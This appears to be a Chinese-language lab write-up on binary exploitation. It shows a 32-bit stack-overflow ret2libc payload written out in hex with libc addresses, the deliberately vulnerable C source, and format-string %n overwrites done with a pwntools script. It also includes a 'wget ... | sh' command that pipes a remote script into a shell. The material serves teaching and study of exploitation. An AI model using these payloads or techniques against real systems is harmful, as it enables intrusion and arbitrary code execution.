一、栈溢出下的攻击(栈溢出+ret2libc,关闭DEP保护,关闭ASLR,32位系统)
思路:在函数返回时将返回地址控制到系统函数,例如system,然后找出“/bin/bash”的字符串地址。
前提:关闭地址随机化(ASLR):echo "0" > /proc/sys/kernel/randomize_va_space
代码:
gcc -g -fno-stack-protector -z execstack -o buffer_overflow buffer_overflow.c
读取的攻击代码前116字节为填充字符。
为啥时116字节,多出来的12字节的原因见该博主,大概意思就是gcc有堆栈优化,默认-mpreferred-stack-boundary选项是4。
\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x6d\x00\x00\x00\x61\x61\x61\x61\xa0\x3d\xe4\xb7\xd0\x79\xe3\xb7\x8a\xf3\xff\xbf
gdb调试时加断点:b 21 在21行设置断点,然后 r 运行
构造攻击内容:填充字符+system地址+exit地址+“/bin/bash”地址
system地址:0xb7e43da0
exit地址:0xb7e379d0
查找/bin/bash的地址:x/10000s $esp 没几页就能找到以下字符串
“/bin/bash”地址:0xbffff38a
所以总构造内容:xa0\x3d\xe4\xb7\xd0\x79\xe3\xb7\x8a\xf3\xff\xbf
结果如下:
可以看到我们在/bin/sh下运行的gdb程序,在gdb中运行该攻击程序后,自动打开了/bin/bash终端,攻击成功。
添加Ubuntu的计算器环境变量,然后将/bin/bash地址替换成gnome-calculator的地址即可打开计算器:
gedit ~/.bashrc
export CALC=gnome-calculator #添加环境变量
代码附录:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
FILE* g_fp;
void read_file(){
char buf[100];
int v,length=0;
g_fp=fopen("./buffer_overflow_code_injection_write_file.txt","r");
if(g_fp==NULL)
{
printf("open file failed!\n");
exit(1);
}
while (fscanf(g_fp, "\\x%02x", &v) == 1)
{
buf[length++] = v;
}
fclose(g_fp);
}
int main(int argc,char *argv[]){
read_file();
return 0;
}
二、格式化字符串漏洞:(关闭ASLR, 64位环境的32位程序)
环境配置:
1. 64位下的32位环境 -m32
sudo apt-get install gcc-multilib g++-multilib
2. peda插件安装
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
3. gef插件安装
wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh
wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit
4. pwntools安装
pip install pwntools
格式化字符串原理:
printf(s);如果s的输入是%08x.%08x.%08x
则从栈上依次取出3个数,造成内存的泄漏
printf函数入栈:
低地址:格式化字符串首地址 序号1
参数1 序号2
参数2 序号3
参数3 序号4
……
……
高地址:数组s的首地址 序号m(可以将此处看成printf的“参数m-1”)
我们通过调试找出序号n的数值,然后利用%n格式化字符串, 将已输出的字符个数存入序号m所对应的内存数值(此数值一般会做成地址),所以,我们会在序号m处先放入我们想修改的地址(假设我们想修改的地址为变量C的值)。
理论上,我们需要一个一个的弹栈,然后让%n正好在序号m处,但是我们可以利用%n$x来指定序号m, 如果经过调试,我们发现m的值为6,那么我们用%6$x来表示指定为printf函数后面参数的第6个参数,如果包含printf前面的格式化字符串的话,那么也可以称为printf的第7个参数。
这样我们构造一个payload = c的首地址(算4个字符) + 凑字符个数(假设为n个) + %6$x
实例:payload = p32(c_addr) + '%011d' + '%6$n'
这个payload的意思的是11+4的这个数(15)写入printf的参数6所对应的地址处,而这个地址由于是位于数组s[0](该处已被payload设置为c的地址,4字节),即15将被写入c地址,也就是变量c将被覆盖为数值15。
编译:gcc -m32 str.c -o str -fno-stack-protector -g
从调试上,我们可以看到当输入hello-world后,数组s的首地址是途中eax所指的地方,而esp所指的地方为返回地址,esp+4为格式化字符串首地址的参数入栈,esp+8为参数1,那么eax所在处即为参数6
我们构造的payload用python打入程序中如下(在终端输入的时候\,x等也算一个单独的字符, 所以我们需要想办法将\x8c之类的作为一个字符输入进去):
from pwn import *
def forc():
sh = process('./str')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%011d' + '%6$n' #修改c的值为15(c地址为4字节)
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
forc()
可以看到c的值打印出来是15了。
三、更改全局变量的值
如果我们要改成比地址字节更小的数,比如2,那么我们可以将地址放在%k$n后面,结构如下:
低地址:格式化字符串地址
参数1
参数2
……
s首地址(参数7,设置为aa%8)
$8aa
存放&b(全局变量b的地址,可虚拟看成printf的参数9)
payload = 'aa%9$nbb' + p32(b_addr) 字符串不区分小端大端
可以看到变量b的值变为了2,因为%9$n前只有2个字符(aa),故数值2写入printf的参数9位置(参数9位置存放的是全局变量b的地址)。